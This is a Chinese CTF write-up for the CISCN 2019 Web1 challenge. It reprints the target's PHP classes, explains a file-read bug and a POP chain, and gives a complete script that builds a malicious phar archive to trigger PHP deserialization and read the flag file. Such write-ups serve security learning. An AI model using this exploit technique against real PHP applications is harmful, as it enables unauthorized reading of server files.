[CISCN 2019华北Day1]Web1

先注册登录，然后在文件下载的地方存在文件读取漏洞，成功读取到关键的/var/www/html/class.php，这里读取用绝对路径，或../../因为登录之后的路径不是网站根目录
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
上面这个才是我们所处的路径

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}

pop链的构造主要是根据FileList里有__call魔术方法，在__call里面，会遍历FileList里的所有File，去尝试执行FileList这个类里面不存在的函数，然后在这个类销毁的时候打印结果，也就是说我们可以通过__call，在FileList调用File里的函数，而File里的close函数会回显文件内容
要调用_call可以通过User这个类，只要令User::db为FileList，就会调用FileList::close()，然后__call，最后File::close()
所以File必须要是我们想读取的文件，即flag，也就是要在FileList::files里面加入flag
//User::close()==>FileList::__call==>File::close

<?php
class User {
    public $db;
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct() {
        $this->files = array();
        $file = new File('/flag.txt');
        array_push($this->files, $file);
    }
}
class File {
    public $filename;
    public function __construct($filename){
        $this->filename=$filename;
    }
}
$ans=new User();
$ans->db=new FileList();
$phar=new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($ans);
$phar->addFromString("1.txt","test");
$phar->stopBuffering();

然后在删除文件的时候会触发phar的反序列化，成功读取